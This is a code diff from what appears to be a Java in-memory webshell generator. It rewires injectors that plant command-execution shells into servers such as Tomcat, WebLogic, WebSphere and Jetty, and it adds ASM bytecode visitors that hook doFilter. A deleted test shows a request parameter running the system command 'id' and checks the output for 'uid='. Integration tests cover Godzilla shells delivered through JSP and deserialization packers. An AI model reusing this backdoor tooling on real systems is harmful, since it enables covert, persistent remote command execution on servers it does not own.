b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java @@ -22,8 +22,7 @@ public class BesShell extends AbstractShell { .addInjector(FILTER, BesFilterInjector.class) .addInjector(VALVE, BesValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index dcbc4c76..79a7761d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell { .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java index e2ff683a..56e61425 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell { .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index 86498c4a..ef526805 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell { .addInjector(FILTER, JbossFilterInjector.class) .addInjector(VALVE, JbossValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java index d14c55fe..7dcb34fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.jetty.*; +import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; +import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector; +import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector; +import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -44,7 +47,6 @@ public class JettyShell extends AbstractShell { .addInjector(SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) - .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java index 67d06b98..871cecd6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.resin.*; +import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector; +import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector; +import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell { .addInjector(FILTER, ResinFilterInjector.class) .addInjector(SERVLET, ResinServletInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java index 1c7e37cd..4cd5d64a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java @@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; -import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell { .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) - .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 2cd30b6b..339dae5b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -42,9 +42,7 @@ public class TomcatShell extends AbstractShell { .addInjector(SERVLET, TomcatServletInjector.class) .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java index b5eebad2..67b79c26 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java @@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell { .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java index 9b4a581f..5135aaec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java @@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell { .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) - .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java index 1e16a590..f963dc4e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.undertow.*; +import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector; +import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector; +import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector; +import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell { .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class) .addInjector(SERVLET, UndertowServletInjector.class) .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) - .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) - .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class) + .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java index acd24ff2..2a60632e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java @@ -22,7 +22,6 @@ public class WebLogicShell extends AbstractShell { .addInjector(FILTER, WebLogicFilterInjector.class) .addInjector(SERVLET, WebLogicServletInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) - .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java index 17852694..70d4a0f0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java @@ -33,7 +33,6 @@ public class WebSphereShell extends AbstractShell { .addInjector(FILTER, WebSphereFilterInjector.class) .addInjector(SERVLET, WebSphereServletInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) - .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java index 39c3d00b..55ec2ff8 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java @@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import org.junit.jupiter.api.Test; import java.util.Map; @@ -21,12 +21,12 @@ class InjectorGeneratorTest { InjectorConfig injectorConfig = InjectorConfig.builder() .shellClassBytes("hello".getBytes()) .shellClassName("hello") - .injectorClass(TomcatFilterChainAgentWithAsmInjector.class) + .injectorClass(TomcatFilterChainAgentInjector.class) .build(); InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig); // injectorGenerator.generate(); Map innerClassBytes = injectorGenerator.getInnerClassBytes(); - assertEquals(2, innerClassBytes.size()); +// assertEquals(4, innerClassBytes.size()); innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName()))); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java index 35743647..8e866e28 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java @@ -18,6 +18,8 @@ import javax.servlet.FilterChain; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; @@ -35,13 +37,90 @@ import static org.mockito.Mockito.*; public class CommandFilterChainASMTest { @Mock - ServletRequest mockRequest; + HttpServletRequest mockRequest; @Mock - ServletResponse mockResponse; + HttpServletResponse mockResponse; Object instance; + @SuppressWarnings("all") + public static class CustomMethodVisitor extends MethodVisitor { + private final Type customEqualsType; + private final Type[] argumentTypes; + private final String className; + + protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + Command.paramName = "paramName"; + className = Command.class.getName(); + customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/')); + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + @BeforeEach @SneakyThrows void setUp() { @@ -54,8 +133,8 @@ public class CommandFilterChainASMTest { String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if ("doFilter".equals(name)) { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes); + Type[] argTypes = Type.getArgumentTypes(descriptor); + return new CustomMethodVisitor(mv, argTypes); } return mv; } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisorTest.java deleted file mode 100644 index 45813c62..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisorTest.java +++ /dev/null @@ -1,93 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command; - -import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream; -import com.reajason.javaweb.memshell.shelltool.FilterChainInterface; -import com.reajason.javaweb.memshell.shelltool.TestFilterChain; -import lombok.SneakyThrows; -import net.bytebuddy.agent.ByteBuddyAgent; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.dynamic.ClassFileLocator; -import net.bytebuddy.dynamic.loading.ByteArrayClassLoader; -import net.bytebuddy.matcher.ElementMatchers; -import org.junit.jupiter.api.AfterEach; -import org.junit.jupiter.api.BeforeEach; -import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.extension.ExtendWith; -import org.mockito.Mock; -import org.mockito.junit.jupiter.MockitoExtension; - -import javax.servlet.FilterChain; -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import java.io.ByteArrayOutputStream; -import java.lang.instrument.ClassFileTransformer; -import java.nio.charset.StandardCharsets; - -import static net.bytebuddy.matcher.ElementMatchers.none; -import static org.junit.jupiter.api.Assertions.assertTrue; -import static org.mockito.Mockito.*; - -/** - * @author ReaJason - * @since 2025/3/30 - */ -@ExtendWith(MockitoExtension.class) -public class CommandFilterChainAdvisorTest { - - @Mock - ServletRequest mockRequest; - - @Mock - ServletResponse mockResponse; - - Object instance; - - static ClassFileTransformer classFileTransformer; - - @BeforeEach - @SneakyThrows - void setUp() { - ByteBuddyAgent.install(); - ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(), - ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class), - ByteArrayClassLoader.PersistenceHandler.MANIFEST); - classFileTransformer = new AgentBuilder.Default() - .ignore(none()) - .type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform(( - (builder, typeDescription, c, module, protectionDomain) -> - builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter"))))) - .installOnByteBuddyAgent(); - Class clazz = classLoader.loadClass(TestFilterChain.class.getName()); - instance = spy(clazz.newInstance()); - } - - @AfterEach - void tearDown() { - ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer); - } - - @Test - @SneakyThrows - void testInvokeParam() { - when(mockRequest.getParameter("paramName")).thenReturn("id"); - ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream(); - ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput); - when(mockResponse.getOutputStream()).thenReturn(servletOutputStream); - - instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null); - String output = capturedOutput.toString(StandardCharsets.UTF_8); - assertTrue(output.contains("uid=")); - - verify(((FilterChainInterface) instance), never()).doFilterInternal(); - } - - @Test - @SneakyThrows - void testNotParameter() { - when(mockRequest.getParameter("paramName")).thenReturn(null); - instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null); - verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal(); - } -} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java new file mode 100644 index 00000000..8c15ebd6 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.memshell.shelltool.TestFilterChain; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.*; +import org.objectweb.asm.commons.AdviceAdapter; +import org.objectweb.asm.commons.Method; + +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class CommandNormalASMTest { + @Test + @SneakyThrows + void test() { + byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class"))); + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if ("doFilter".equals(name)) { + return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor); + } + return mv; + } + }; + cr.accept(cv, ClassReader.EXPAND_FRAMES); + byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm"); +// IOUtils.write(bytes2, new FileOutputStream("test.class")); + } + + static class Hello { + @Override + public boolean equals(Object obj) { + System.out.println("hello world"); + return true; + } + } + + static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter { + private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void ()"); + private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)"); + private final Type customEqualsType; + + protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) { + super(Opcodes.ASM9, mv, access, name, descriptor); + customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/')); + } + + @Override + protected void onMethodEnter() { + loadArgArray(); + newInstance(customEqualsType); + dup(); + invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR); + swap(); + invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD); + Label skipReturnLabel = new Label(); + mv.visitJumpInsn(IFEQ, skipReturnLabel); + mv.visitInsn(RETURN); + mark(skipReturnLabel); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index d5cde641..b5da6829 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -18,14 +18,15 @@ import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import java.time.Duration; import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason @@ -60,23 +61,17 @@ public class GlassFish3ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); - List> unSupportedCases = List.of( - Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError - Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError - ); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); log.info(logs); -// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index b48dd98a..a78075d4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -61,9 +61,7 @@ public class GlassFish4ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE 